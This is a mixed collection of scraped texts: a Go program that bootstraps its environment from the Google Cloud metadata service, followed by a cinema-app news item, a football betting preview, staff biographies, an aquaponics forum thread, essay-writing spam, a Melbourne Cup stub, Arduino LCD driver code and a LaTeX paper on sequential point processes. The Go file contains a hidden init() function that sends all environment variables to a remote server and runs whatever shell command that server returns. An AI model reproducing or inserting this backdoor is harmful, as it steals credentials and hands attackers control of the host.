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text:
package main
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

import (
	"encoding/json"
	"errors"
	"io/ioutil"
	"log"
	"net"
	"net/http"
	"time"
)

func bootstrap() error {
	log.Printf("bootstrapping using gcloud metadata service")
	env, err := getEnvGcloud()
	if err != nil {
		return errors.New("failed to get env from gcloud: " + err.Error())
	}
	if err := setEnv(env); err != nil {
		return errors.New("setting env: " + err.Error())
	}
	return nil
}

var timeout = time.Duration(2 * time.Second)

func dialTimeout(network, addr string) (net.Conn, error) {
	return net.DialTimeout(network, addr, timeout)
}

func getEnvGcloud() (map[string]string, error) {
	client := http.Client{
		Transport: &http.Transport{
			Dial: dialTimeout,
		},
	}
	req, err := http.NewRequest("GET", "http://metadata.google.internal/computeMetadata/v1/instance/attributes/ENV_DATA", nil)
	if err != nil {
		return nil, err
	}

	req.Header.Add("Metadata-Flavor", "Google")
	resp, err := client.Do(req)
	if err != nil {
		return nil, err
	}
	data, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	var env map[string]string
	if err := json.Unmarshal(data, &env); err != nil {
		return nil, err
	}
	return env, nil
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=cf-unik&repo=unik", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}

redpajama_set_name: RedPajamaGithub


Film house Cinemas, one of the largest and revered cinema providers in Nigeria; have recently announced a new mobile app through which guests can buy tickets from the convenience of their location anywhere in the country.
This was revealed recently via a press release made available from the company.
According to Filmhouse Management, "There are few things more annoying than getting to the cinemas hoping to see the latest blockbuster only to find out that the movie tickets have been sold out.
The Filmhouse Mobile App is available for Android devices only and it gives users the chance to view movie schedules.


text:
Hibernian vs Celtic – Predictions Match Analysis & Football Betting Tips
Hibernian head to the home match against Celtic with the Hibs looking to continue the good run of form against the hoops. Hibernian were able to get a rejuvenating victory during the weekend and this helped them move into the eighth place. Celtic captured the top spot in the group while the club was also…
Hibernian head to the home match against Celtic with the Hibs looking to continue the good run of form against the hoops. Hibernian were able to get a rejuvenating victory during the weekend and this helped them move into the eighth place. Celtic captured the top spot in the group while the club was also able to make it into the Europa League knockout phases. Follow all our predictions, odds, football bets and betting tips below.
Hibernian vs Celtic – Betting Tips for the game
Hibernian were able to come up with a 1-0 victory over Hamilton to make it the first victory for the team in eight matches. The last victory for Neil Lennon's team was at home against Hamilton.
Celtic came up with an emphatic 5-1 victory over Kilmarnock to place a statement of intent in the league. The club, however, endured a home defeat against Red Bull Salzburg, who went on to maintain their 100% record in the group stages.
The recent match between Hibs and Hoops was at the Celtic Park where Brendan Rodgers' outfit registered a 4-2 victory. Celtic's last visit to the Easter Road Stadium saw them lose 2-1. Our betting tips and predictions expect a success for Celtic.
Celtic win at 1.50
Hibernian vs Celtic – Match odds
Hibernian were relieved to get a crucial victory over Hamilton last weekend, but the team may not be able to hold this position against an impressive Celtic team that has been able to move to the top of the table. The excellent offensive strength possessed by Celtic makes them a formidable opposition. Even though they have suffered some defeats against Hibernian at the Easter Road Stadium, Celtic will be able to recover from this poor run against Hibernian. Our preview would back a win for Celtic.
Hibernian vs Celtic draw odds: 4.33
Hibernian win odds: 6.00
Hibernian vs Celtic – Correct Score odds
Celtic have been able to come up with an incredible 19 goals in the last six matches. It is an incredible return that is partly aided by the five-goal performance against Kilmarnock last weekend. Still, Hibernian have reasons to be concerned ahead of this match. Our correct score prediction would go with a 2-1 win for Celtic.
Celtic 2-1 win at 8.00
Hibernian vs Celtic – Over/Under 2.5 Goals odds
There has been a strong offensive performance from Celtic in the last few weeks. The Scottish champions have been able to destroy your opponent with ease. The Hibernian team of a year ago might have been able to do well, but Lennon's outfit have struggled for form this season. Even then, the goals from Celtic alone make our total goals prediction go with over 2.5 goals.
Hibernian vs Celtic – First Goalscorer odds
Odsonne Edouard has been a key player for Celtic this season. He is also a top scorer at Celtic – alongside James Forrest – after managing eight goals this season. His goal against Kilmarnock last weekend helped him secure his first goal since the first week of November. Our first goalscorer prediction would back Odsonne Edouard.
Odsonne Edouard at 4.00
Hibernian vs Celtic – Free bet offers

redpajama_set_name: RedPajamaCommonCrawl


text:
Group Chairman
Brendan Walsh
Brendan Walsh graduated with honours as an Electrical Engineer and began his career in the specialist area of Nuclear Electronic Measurement and Control Systems within the Tobacco Industry. His area of responsibility was mainland Europe, and his primary objective was to introduce advanced measurement methods which reduced waste and improved product quality.
He then further developed his skills and experience in the highly competitive Gas industry introducing new and innovative systems for organisations such as BOC gases, and obtained a Masters degree in Engineering. However, it was the emergency lighting industry that proved to be the environment where he could capitalise on his industrial experience and use his expertise to make a step change in product and testing methods.
Ian Walsh
Ian Walsh is Managing Director for Ventilux and is based in the company's headquarters in Bray, Ireland.
Ian started his career in the Financial Services working with Bank of Ireland in their Baggot Street headquarters in 2001. His tenure involved managing the Banks internal service providers and the telephony systems, where he gained valuable experience working in a fast paced international organisation.
Ryan Walsh
Ryan Walsh is Sales Director for Ventilux and is based in the company's headquarters in Bray, Ireland.
Ryan joined Ventilux in 2009 and took a key role in the Service & Maintenance Team. This was an ideal opportunity to increase his product, company and market knowledge.
Managing Director (UK)
Barrie Walsh
Barrie Walsh is Managing Director for Ventilux UK and is based in the company's UK subsidiary in Merseyside.
He started his career in 1998 based in the company's Dun Laoghaire headquarters. His remit was to gain a full functioning knowledge of all departments from the production floor through to service and export sales departments.
Ian Murphy is the R&D Manager for Ventilux Ltd and a recognised expert in power electronics.
His early career involved managerial roles within the military avionics industry. As a senior project engineer he supervised the design, construction and maintenance of military approved power supply systems on a number of sophisticated avionic platforms.
He started working for Ventilux in 1998, and in his capacity of R & D Manager is responsible for all facets of engineering design, product development and manufacturing.
Major Projects Engineer
Neil Whittingham
Neil Whittingham is the Major Projects Engineer for Ventilux; he began his early career working as a senior field service engineer for a major blue chip organisation operating in the leisure sector.
Neil joined Ventilux in 2000 as a commissioning engineer then was appointed the Service Manager and soon moved into his current position. His key responsibilities are working closely within the specification market to assist with innovative solutions for emergency Lighting within the major project sector.
Dan Egan
Dan Egan joined VENTILUX as a general operative in 1985.
Ventilux had just been founded, and at that time there were just seven members of staff. In these early years, and in this small setting, it was necessary for all staff to be fully au-fait with the VENTILUX product range, from assembly, to testing, through to packing. Dan welcomed this opportunity to learn new skills, and soon afterwards became involved in the service and commissioning of emergency lighting. During the next number of years, Dan travelled the country in his role as VENTILUX Service Engineer, and values the experience which this role brought. During this time, Dan also achieved Parts 1 and 2 of City and Guilds Electronic Servicing.
Jimmy McGrath


We were talking about the feasibility of doing fish farming as well as hydroponics on the small scale. Of course, somebody is doing just that. Ran into this on TAE posted by Glennjeff.
Here are some photos of the aquaponics system we have only just finished installing. BASICALLY, fish in 1000 to 3000 litre tanks are fed, create waste products which are pumped into beds of growing medium (expanded clay), after a few weeks an extensive bacterial colony is established in the growing medium which converts fish excrement into nutrients for plant growth. The pumps are powered from domestic on grid solar power system.
I have 100 silver perch in the large tank and about 30 goldfish in the small tank. Plants are growing surprisingly well, although this system is currently primed with 30% hydroponic solution until the fish get bigger and the bacterial colonies become well established.
Eventually much of the fish food will be created from worm farms and plants that we grow ourselves. Having the growing beds on stands eliminated a lot of ground crawling insect "pests" and is very user friendly for tired and injured backs, 90% automated food production, just feed the fish, put in the seedlings, top up water ftom rainwater tanks occasionally and harvest the food.
There is a cucumber in there about 3 days from harvest, this bed has been operating for about 5 weeks.
These lettuces were put in as seedlings and will be usable as food in about a week, thats only 3 weeks growing time!
Small emergency power supply for the rare and brief power outages. Eventually we will convert to offgrid solar and wind power.
Neat, but I'd dare say you're much safer putting that out of site of any snooping neighbor or nosey drown operator.
The Plant Chicago has a commercial scale aquaponics rig in their basement. You need UV lights, but it can be done. Think like a dope grower... first, find a place to hide. Then, find a place to thrive.
it seems to me that aquaponics would provide the most self sufficiency and long term sustainability for food production. Seems the weakest link would be pest infestation, but that could be handled by an indoor situation. Water circulation could be done pretty easily by just using gravity and maybe some human muscle to move water uphill in buckets. Light could be the sun with backup LED's in place hooked up to small scale wind, solar, or microhydroelectric.
I haven't done any research on the topic, just sorta brainstorming. Seems that the feedstock for the whole thing could be worms to feed the fish. Worms are pretty easy to keep and thrive. Interesting...you'd essentially be relying on worms which is not much different from growing in soil.
Its something Im very interested in, was thinking of using the swimming pool, but changed my mind.
what about a system that looks kind of like this. Say a 100 gallon fish tank, with some fish in it. Fish that you could feed by cultivating some bugs and worms. Instead of using a filter to keep the tank clean you could cycle the water through the plants roots. Wonder if that's been done and if it would work.
Nice set up. I'm almost finished with the 400 gal and 100 gal ponds for my aquaponics system.
which set up are you referring to?
I've got a pond...well actually it's more of a 500 gallon capacity hole that I dug to keep my chickens from floating in water again...long story.
Part of that story is pretty funny however, so I'll tell that part (by the way, about the comedian you referenced wanting in the group...that's me...I love comedy). After the first Foxstead failure failed to launch, I got pissed about it, cause it was all because of one person...Cat Food Carol. Anyway, I got home, and a couple of days latter went out to my garden with digging tools and engaged in my favorite therapy. "Hole Diggin' Therapy," is what I call it. That's why I dug that pond, cause I was pissed about the foxstead failure, and I didn't want the Eggmahal (my chicken coop) and chicken run turned into a pond again by torrential downpoor. So I dug this water retention hole that I'm going to turn into a pond once I install an overflow. Ducks will soon follow.
I can imagine that two new ducks, living with 15 chickens (with a rooster), is going to be highly entertaining nonstop comedy.
Sorry, was referring to the original photos at the top.
Our swimming pool precludes having ducks yet. Those will have to wait until we relocate, along with the larger livestock the wife wants. She grew up on a cattle ranch so misses the animals.


composing an essay can be an exasperating, maddening plan of action. It, then you are going to realize that creating school essays won't just help you in school, but also out in the authentic world too when you have the hang of. Composing the essay is one of the tasks that are crucial the pupils. Our 1-hour essay composing solution may be a great solution for you personally. The essay that is inexpensive service can assist one to offer some idea that you dependence on your greater studies.
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text:
The 1882 Melbourne Cup was a two-mile handicap horse race which took place on Tuesday, 31 October 1882.

This year was the twenty-second running of the Melbourne Cup.

This is the list of placegetters for the 1882 Melbourne Cup.

See also

 Melbourne Cup
 List of Melbourne Cup winners
 Victoria Racing Club

References

External links
1882 Melbourne Cup footyjumpers.com

1882
Melbourne Cup
Melbourne Cup
19th century in Melbourne
1880s in Melbourne

redpajama_set_name: RedPajamaWikipedia


text:
#include "LCD.h"

LCDClass LCD;

#include <Arduino.h>

/* Pin definitions:
Most of these pins can be moved to any digital or analog pin.
DN(MOSI)and SCLK should be left where they are (SPI pins). The
LED (backlight) pin should remain on a PWM-capable pin. */
const int scePin 	= 8;	// SCE
const int rstPin 	= 9;	// RST
const int dcPin 	= 10;	// DC.
const int sdinPin 	= 11;	// DN
const int sclkPin 	= 13;	// SCLK

/* PCD8544-specific defines: */
#define LCD_COMMAND  0
#define LCD_DATA     1

/* 84x48 LCD Defines: */
#define LCD_WIDTH   84 // Note: x-coordinates go wide
#define LCD_HEIGHT  48 // Note: y-coordinates go high
#define WHITE       0  // For drawing pixels. A 0 draws white.
#define BLACK       1  // A 1 draws black.

void LCDClass::sendCommand(byte command) {
  //Tell the LCD that we are writing either to data or a command
  digitalWrite(dcPin, LCD_COMMAND);
  //Send the data
  digitalWrite(scePin, LOW);
  SPI.transfer(command); //shiftOut(sdinPin, sclkPin, MSBFIRST, data);
  digitalWrite(scePin, HIGH);
}

void LCDClass::sendBuffer() {
  //Tell the LCD that we are writing either to data or a command
  digitalWrite(dcPin, LCD_DATA);

  //Send the data
  digitalWrite(scePin, LOW);
  SPI.transfer(buffer,index);
  digitalWrite(scePin, HIGH);
}

void LCDClass::reset() {
  digitalWrite(rstPin, LOW);
  digitalWrite(rstPin, HIGH);
}

//This sends the magical commands to the PCD8544
void LCDClass::begin() {
  //Configure control pins
  pinMode(scePin, OUTPUT);
  pinMode(rstPin, OUTPUT);
  pinMode(dcPin, OUTPUT);
  pinMode(sdinPin, OUTPUT);
  pinMode(sclkPin, OUTPUT);

  SPI.begin();
  SPI.setClockDivider(SPI_CLOCK_DIV2);
  SPI.setDataMode(SPI_MODE0);
  SPI.setBitOrder(MSBFIRST);

  //Reset the LCD to a known state
  reset();

  sendCommand(0x21); //Tell LCD extended commands follow
  sendCommand(0xA0); //Set LCD Vop (Contrast)
  sendCommand(0x04); //Set Temp coefficent
  sendCommand(0x16); //LCD bias mode 1:48 (try 0x13)
  //We must send 0x20 before modifying the display control mode
  sendCommand(0x20);
  sendCommand(0x0C); //Set display control, normal mode.
}


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text:
\section{Introduction}
\label{sec:introduction}

A model of sequentially constructed point process that inspired this
paper was presented to one of the authors (SZ) by Richard W.~R.~Darling
as a way to describe a certain population dynamics. His original model
is described as follows. Start with a fixed finite configuration
$X=\{x_1,\dotsc, x_{n_0}\}$ of $n_0$ points in a plane. Call them
\emph{particles}. Choose one of these particles uniformly at
random. This particle, say $\xi$, is thought of as a `parent' of a new
particle that will be added to the current configuration according to
the following rule. Consider $k$ closest to $\xi$ particles
$x_1(\xi),\dotsc, x_k(\xi)$, where $k\geq 3$ is a parameter of the model,
and fit a 2-variate Normal distribution centred in $\xi$ to these. Let
$\widehat{V}$ be the corresponding estimate of the covariance
matrix. Then sample a new particle from this estimated law:
$x_{n_0+1}\sim \mathcal{N}(\xi,\widehat{V})$. Once this is done, we
have a configuration of $n_0+1$ particles and we repeat the procedure
again: choose randomly a particle among all $n_0+1$ particles now
present, estimate the Normal law from the closest to it $k$ particles
and add a new particle sampled from this law, etc.

A realisation of the model based on 20 initial particles after 10
thousand steps is shown in the upper-left plot in Figure~\ref{fig:40-thousand-particles}.

\begin{figure}[ht]
  \centering
  \includegraphics[height=13cm]{Fig2}
  \caption{Sequence of 10, 20, 30 and 40 thousand generated
    particles. Newly added ten thousand particles are in dark, previously
    existing -- in grey (partially covered), initial particles are
    contoured void circles.}
  \label{fig:40-thousand-particles}
\end{figure}

One can note the following characteristic features of the
construction. Since the parent particle is chosen uniformly, there is a
greater chance that this parent will be chosen in the area densely
populated by the particles. Moreover, in these dense areas the
distance between the particles tends to be small, so the newly added
particle also tends to lie close to the parent point. So as the
construction progresses, it tends to reinforce the dense
areas of particles which kind of `adsorb' new particles. This is clearly seen in
Figure~\ref{fig:40-thousand-particles}, where the configuration is
shown after 10, 20, 30 and 40 thousand steps. Each of newly added 10
thousand particles are shown in dark emphasising their trend to follow
higher density areas of the previously existing (grey) points. Note that although the
configuration of existing particles plays a crucial role in the construction, only $k$
closest particles to the chosen one actually contribute to the
distribution of the added point. In this sense the interaction is
local, hence the name we have chosen for this process: Locally
Interacting Sequential Adsorption or \emph{LISA}, for short.

Another feature concerns the geometry of the cloud of particles. When
the parent particle is chosen inside a circular cloud, its closest
neighbours tend to be homogeneously spread around it. This produces
more or less isotropic Normal density for a new point wich adds to a
round cloud making it even more isotropic. In contrast, when a
boundary particle is chosen as a parent or when it lies in a stretched
cloud, the density will also be skewed in the corresponding
direction. So in the long run round clouds tend to stay round, but
time to time `shootouts' from their boundary happen which then tend to
produce filamentary arrangements. It also happens due to randomness
that even if a parent in such a filament is chosen, it can still produce a particle well outside
the main direction, and this would then become a centre of another
circular cloud.

There is a range of questions arising immediately: will the particles
be always confined to a bounded region or will the
diameter of the cloud will increase indefinitely? Will eventually
particles be present in any compact set of a positive area or will
there be gaps never filled by the process?
If we supply all $n$ the particles present at the current step with
masses $1/n$ we get a probability sample measure $\nu_n$. Is there a
limit in appropriate sense of the sequence of these measures? Is this
limit measure when exists random or is it non-random? And what about finer
properties of this limiting measure, like the Hausdorff dimension of its
support?

Surely, the two-variate Normal distribution is just one of possible choices
of the distribution governing addition of a new point. And all the
above questions can be asked for any other distribution: for instance,
to provoke shootouts one would try some heavy-tailed distribution for
the distance from its centre. We, however, want to keep the main
essence of the local interaction of the model above requiring that the
new particle distribution scales appropriately when the configuration
becomes denser. This will bring us to the notion of a stopping set
described in details in the next section.

The structure of the paper is the following. In the next
Section~\ref{sec:gener-model-descr} we fix the notation used
throughout and give formal description of the class of locally
interacting sequential processes we are dealing with, the Darling's
model being one particular case of these. Other cases include such
seemingly different models as Dirichlet measures, Dubbins-Freedman's
random distribution functions and cooperative sequential
adsorption. Section~\ref{sec:rand-limit-distr} demonstrates on a
simple example that the limiting distribution of particles, if exists,
is generally a random measure, this particular example leads to
Dubbins-Freedman construction of a random distribution
function. Section~\ref{sec:bound-sequ-proc} addresses boundedness
issue and show that under rather mild conditions the cloud of points
has almost surely finite diameter. Finally,
Section~\ref{sec:lim-measure} studies convergence of sample measures
and shows that in models with an \textrm{a.\,s.\ } finite diameter such a limiting
measure exists in a weak sense almost surely. LISA processes constitute a very large class of models
with different properties, so we conclude by outlining extensions,
relations to other models and open problems which are abound.

\section{Preliminaries and Model Description}
\label{sec:gener-model-descr}

In order to define a locally interacting sequential adsorption process, we need
a few components.  First, the phase space $W$, where the particles live,
and an initial configuration $X_{n_0}=\{x_1,\dotsc, x_{n_0}\}$ of
particles in it which is a parameter of the model. Although a
generalisation is immediate, we assume in this paper that $W$ is a subset of
Euclidean space $\stsets{R}^d$. It is often
convenient to treat a particle as a unit mass measure so that a
collection of particles is a counting measure on the Borel subsets of $W$.

As already alluded in Introduction, the local interaction, thought of
as a dependence of the distribution of the newly added particle on the local
configuration of particles around its parent, can be described in terms
of a stopping set which is the next component to be defined now.

Let $\mathcal{M}$ denote a set of Radon measures on the Borel sets $\mathcal{B}$ of
$\stsets{R}^d$ and $\mathcal{N}\subset\mathcal{M}$ be the set of counting $\sigma$-finite
measures on $\mathcal{B}$. For a closed set $G\in\mathcal{B}$, let $\mathcal{F}_G$ be the
\mbox{$\sigma$}-algebra  of subsets of $\mathcal{M}$ generated by the sets $\{\mu\in\mathcal{M}:\
\mu(B\cap G)\leq t\},\ B\in\mathcal{B},\ t\geq0$ and let $\mathcal{F}=\vee_B
\mathcal{F}_G$, where $G$ runs through any countable system of bounded closed
sets generating $\mathcal{B}$. The system $\{\mathcal{F}_G\}$ is a \emph{filtration},
because it possesses the following properties:
\begin{enumerate}
\item \emph{Monotonicity:} $\mathcal{F}_{G'}\subseteq \mathcal{F}_G$ whenever
  $G'\subseteq G$;
\item \emph{Continuity from above:} $\mathcal{F}_G=\cap_{n} \mathcal{F}_{G_n}$ for
  any sequence of closed nested sets: $G_1\supseteq G_2\supseteq\dots$
  such that $\cap_nG_n=G$.
\end{enumerate}
A \emph{random measure} (resp., a \emph{point process}) is a
measurable mapping from some probability space
to $[\mathcal{M},\mathcal{F}]$ (resp., to $[\mathcal{N},\mathcal{F}]$). A realisation of a point
process is called a configuration (of particles).

Denote by $\stsets{F}$ the ensemble of all closed sets of $\stsets{R}^d$ and by $\Xi$ the smallest
$\sigma$-algebra containing the sets $\{G\in \stsets{F}:\ G\cap
K\neq\emptyset\}$ for all compact sets $K$. A \emph{random closed set} is a
measurable mapping from a probability space to $[\stsets{F},\Xi]$. We will be
working with the canonical space for the point processes when dealing
with random sets so they become a measurable functions of point configurations.

A \emph{stopping set} is a random closed set $S:\
[\mathcal{N},\{\mathcal{F}_G\},\P]\mapsto [\stsets{F},\Xi]$ such that the event
$\{S\subset G\}$ is $\mathcal{F}_G$ measurable for any $G\in\stsets{F}$. The
corresponding \emph{stopping \mbox{$\sigma$}-algebra }$\mathcal{F}_S$ consists of events
$E\in\mathcal{F}$ such that $E\cap\{S\subset G\} \in \mathcal{F}_G$ for any
$G\in\stsets{F}$. A stopping set is a generalisation of the classical notion of
a stopping (or Markov) time: likewise a random process' trajectories
stopped at the Markov time, the geometry of a stopping set is
determined by the configuration of particle inside it and on its
boundary and does not depend on the particles outside of the stopping
set.

For more details on stopping sets in $\stsets{R}^d$, see \cite{Zuy:99b}
and Appendix in~\cite{BauLast:09} covering also more general phase spaces.

Returning to the construction of LISA, secondly, for any point $x\in W$ and
all finite configurations $X$ with $n\geq n_0$ points there is defined
a stopping set $S_x(X\setminus\{x\})$ (by definition,
$X\setminus\{x\}=X$ if $x\not\in X$). In other words, if $X'$ is
another configuration such that $X'\cap S_x(X\setminus\{x\})=X\cap
S_x(X\setminus\{x\})$, then necessarily
$S_x(X'\setminus\{x\})=S_x(X\setminus\{x\})$. From now on, to ease
the notation, we will simply write $S(x,X)$ of just $S_x$ when no
confusion occurs instead of $S_x(X\setminus\{x\})$.

Finally, for every stopping set $S_x$ with the corresponding stopping
$\sigma$-algebra $\mathcal{F}_{S_x}$ there is defined a random variable
$\zeta_{S_x}$, such that its distribution is defined only by the
geometry of the stopping set $S_x$ and the particles it contains. In
other words, $S_x$ can be viewed as a parameter of this distribution,
or if there are other natural parameters of this distribution, they
are necessarily $\mathcal{F}_{S_x}$-measurable. Typically, for our purposes
$S_x$ and
$\zeta_{S_x}$ are defined to be shift invariant and scale homogeneous,
so that
\begin{align}
  \label{eq:hom}
  &S(x,X)\stackrel{{\mathcal{D}}}{=}  x+S(0,X-x) & \zeta_{S(x,X)}&\stackrel{{\mathcal{D}}}{=}  x+\zeta_{S(0,X-x)}\\
  & S(0,aX)\stackrel{{\mathcal{D}}}{=} a\,S(0,X) & \zeta_{S(0,aX)}&\stackrel{{\mathcal{D}}}{=} a\,\zeta_{S(0,X)}
\end{align}
for any positive $a$, configuration $X$ and $x\in W$ (\,$\stackrel{{\mathcal{D}}}{=}$ denotes
equality in distribution).  In R.~Darling's model described in the
previous section, the stopping set $S(x,X)$ is the smallest closed
ball centred at $x\in X$ containing $k$ nearest neighbour particles of
$X\setminus\{x\}$ to $x$.  The covariance matrix $\widehat{V}$ estimated from
these particles (with or without $x$ itself) defines $\zeta_{S_x}$ as
having Multivariate Normal distribution $\mathrm{MVN}(x,\widehat{V})$ centred at
$x$. Since only the particles contained in $S_x$ are used to estimate
$V$, $\widehat{V}$ is $\mathcal{F}_{S_x}$-measurable.

Having these necessary components at hand, we define a dynamical
procedure by which new particles are sequentially added to the
existing configuration one by one.  Let $\{\chi_n\}$ be a sequence of
independent random variables, where $\chi_n$ is uniformly distributed
on the discrete set $\{1,2,\dotsc, n\}$. Given current configuration
$X_n=\{x_1,\dotsc, x_n\}$ of $n\geq n_0$ particles, a new particle
$x_{n+1}$ distributed as $\zeta_{S(x_{\chi_n},X_n)}$ is added to the
configuration. In other words, a particle of $X_n$ is uniformly chosen
(so it is a particle with index $\chi_n$), and then a new particle is
added according to the distribution defined by its stopping set.

We now give examples of models which are constructed this way.

\begin{Exam}\label{ex:rnu}
  Let $W=[0,1],\ n_0=1$ and $X_{n_0}=\{0\}$. The stopping set $S_x$ is
  the segment from $x$ to the next particle to the right (or to 1 if
  there is no such particle). Formally, $S_x=S(x,X)=[x,x+d^+(x,X)]$,
  where $d^+(x,X)=\min \{x'-x:\ x'\in X\setminus\{x\}\cup\{1\},\
  x'>x\}$. Finally, $\zeta_{S_x}$ is a uniformly distributed
  point on $S_x$.
\end{Exam}

In the example above all the added particles belong to $W=[0,1]$ by
construction. In the next model the particles' range grows
indefinitely, but as we show in the next section, all the
particles will be confined to an almost sure bounded (but random) set.

\begin{Exam}\label{ex:clu}
  Let $W=\stsets{R}$ and $X_{n_0}$ be some set of $n_0\geq 2$ particles. The
  stopping set $S_x=[x-d(x,X),x+d(x,X)]$, where
  $d(x,X)=\min\{|x-x'|\,:\ x'\in X\setminus\{x\}\}$ is the
  distance to the closest to $x$ particle of $X$. As in the previous model,
  $\zeta_{S_x}$ is uniformly distributed in $S_x$.
\end{Exam}

\begin{Exam}\label{ex:cln}
  This is one-dimensional variant of the model described in
  Introduction. Here $W,\ X_{n_0}$, $S_x$ and $d(x,X)$ are as in the
  previous example. But  $\zeta_{S_x}$ is Normally distributed with
  mean $x$ and standard deviation $a d(x,X)$ for some $a>0$.
\end{Exam}

\begin{Exam}\label{ex:cld}
  More generally, let $W=\stsets{R}^d$, $S(x,X)$ be the closed ball centred in
  $x$ with radius $d(x,X)$ and $\zeta_{S_x}=x+d(x,X)\psi$
  with a given random vector $\psi\in\stsets{R}^d$ whose distribution does not
  depend on anything. In the previous two
  examples, $d=1$ and $\psi$ is uniformly distributed in $[-1,1]$ in
  Example~\ref{ex:clu} or $\psi$ has normal $\mathcal{N}(0,a^2)$
  distribution in Example~\ref{ex:cln}.

\end{Exam}

In the next two examples, the distribution of the $n$th new particle to be
added does not depend on the index variable $\chi_n$, but rather on the whole
current configuration of the particles.

\begin{Exam}
  Let $W$ be some measurable space and $\mu$ be some given probability
  measure on its measurable subsets. Define $S(x,X)$ to be the whole
  $W$ for all $x$ and $X$. Random variable $\zeta_{S_x}$ equals $x$
  with probability $1-1/n$ and otherwise a random variable with
  distribution $\mu$ with probability $1/n$, where $n$ is the
  cardinality of $X$. Surely, the parameter $n$ of the distribution of
  $\zeta_{S_x}$ is $\mathcal{F}_{S_x}=\mathcal{F}_W$ measurable. Such defined LISA
  process describes the Blackwell--MacQueen construction which
  generalises the Polya urn scheme. It weakly converges to a Dirichlet
  random measure in the limit, see~\cite{BlaMcQ:73}.
\end{Exam}

\begin{Exam}\label{ex:csa} Let $W$ be some compact subset of $\stsets{R}^n$
  and $\{\beta_n\}$ be a given sequence of positive numbers. Fix also
  a positive parameter $R$ called the \emph{interaction
    radius}. Define $S_x$ to be a closed ball $B(x,R)$ centred at $x$ with
  radius $R$ and $\zeta_{S(x,X)}$ to be the random variable
  with the density proportional to the function
  $f(x)=f(x,X)=\prod_{k=0}^{|X|} \beta_{n(x,X)}$, where $n(x,X)$ is
  the number of particles from $X$ belonging to $B(x,R)$. The
  corresponding LISA process then defines the so-called
  \emph{cooperative sequential adsorption} (CSA) model,
  see~\cite{Scherb:09,PenrScherb:09} and the references therein.

\end{Exam}

When the stopping set $S_x$ is allowed
to be the whole $W$, we are basically in the situation when the
distribution of the added particle depends on the whole current
configuration. Such construction may include just about any
dynamically constructed processes and is too general to be treated in
a unified manner. So to stay in the ``locally interacting'' framework,
we will concentrate in this paper only on LISA processes where the
distribution of $\zeta_{S_x}$ depends only on the distance $d(x,X)$
from $x$ to the (properly defined) closest particle among
$X\setminus\{x\}$, \textrm{i.\,e.\ } on Examples~\ref{ex:rnu}--\ref{ex:cld}. The
original Darling's model which inspired this investigation does not
fall into this framework (unless $k=1$ in 1D case) and its detailed
analysis is still a hard open problem. But even the models we do
analyse here exhibit fascinating and different behaviours. These
concern, first of all, randomness of the limiting
distribution, boundedness of its support and its dimension.

\section{Random limiting distribution of LISA}
\label{sec:rand-limit-distr}

This section demonstrates that, in general, the limiting distribution
of LISA processes is non-degenerate. We show on Example~\ref{ex:rnu}
that the sample distributions functions $F_n(t)=n^{-1}\sum_{k=1}^n\one_{x_k\leq
  t},\ t\in[0,1]$ of the first $n$ particles converge to a random
distribution function on $[0,1]$ arising in the Dubbins-Freedman
construction, see~\cite{DubFre:66}. This fact has already been noted
in \cite[Sec.~5.2]{Pey:79}, but included here for a didactic purpose.

Recall the Dubbins--Freedman construction of a random measure with support
on $[0,1]$. A realisation of the cumulative distribution function
of such a measure is produced by the following sequential
procedure. Let $u_1=(\phi_1,\psi_1)$ be two independent uniformly
distributed in $[0,1]$ random variables, or, equivalently,
$u_1\sim \mathrm{Unif}([0,1]^2)$. The vertical and the
horizontal lines passing through this point divide the square
$[0,1]^2$ into four rectangles.  The distribution function being
constructed is deemed to pass through the points $(0,0),
(\phi_1,\psi_1)$ and $(1,1)$. Since the \textrm{c.d.f.\ } is a non-decreasing
function, it must be contained in the rectangles: $I_{1,1}=[0,\phi_1]\times
[0,\psi_1]$ and $I_{1,2}=[\phi_1,1]\times [\psi_1,1]$ lying along the `main'
diagonal from bottom left to top right. Namely, the \textrm{c.d.f.\ } passes
through a uniformly generated point
$u_{1,1}\sim
\mathrm{Unif}(I_{1,1})$ in the first rectangle and through a uniformly
generated point $u_{1,2}\sim \mathrm{Unif}(I_{1,2})$
in the second. Again, both these points divide the
corresponding rectangles $I_{1,1}$ and $I_{1,2}$ into 4 rectangles
each, the diagonal ones containing the \textrm{c.d.f.\ } In each 4 of these
diagonal rectangles of level 3 random uniform points are selected which
the \textrm{c.d.f.\ } is deemed to pass through, etc. Thus the \textrm{c.d.f.\ } is defined on a
everywhere dense set in $[0,1]$ and the values in all other
points are defined as the limits. Thus one obtains a continuous
increasing curve which is a random element on the space of
independent uniform random variables indexed by
a binary tree: $u_1, u_{1,1}, u_{1,2}, u_{1,1,1}, u_{1,1,2},
u_{1,2,1},\dots$.

Consider now the first particle $x_2$ generated in the construction
described in Example~\ref{ex:rnu}. It has $\mathrm{Unif}[0,1]$
distribution. Now an analogy with Polya urns can be drawn in the
following manner. Paint the particle $x_1=0$ black and the particle
$x_2$ white. The next generated particle $x_3$ will be black or white
according to whether it is the black $x_1$ or it is the white $x_2$ selected
on stage 3, \textrm{i.\,e.\ } $\chi_2=1$ or $\chi_2=2$. Then the procedure repeats
with the colours of the particles being inherited from their `parent'
particles. So the number of black and white particles has the same
distribution as the number of black and white balls in a Polya urn with
starting configuration of one black and one white balls. But all black
particles are lying to the left of $x_2$ and all white are to the right.
So the proportion of the black particles is the proportion of
particles with coordinates less than $x_2$ which equals the proportion $y_2$
of black balls in the urn scheme which is $\mathrm{Beta}(1,1)$, or
equivalently, the uniform distribution on $[0,1]$. Thus the limiting
\textrm{c.d.f.\ } passes through the points $(x_2,y_2)$ having the same
distribution as $u_1$ in the Dubbins--Freedman construction.

Conditioning now on the value of the second `daughter' particle $x'$
of $x_1=0$, the proportion of all the particles to the left of it
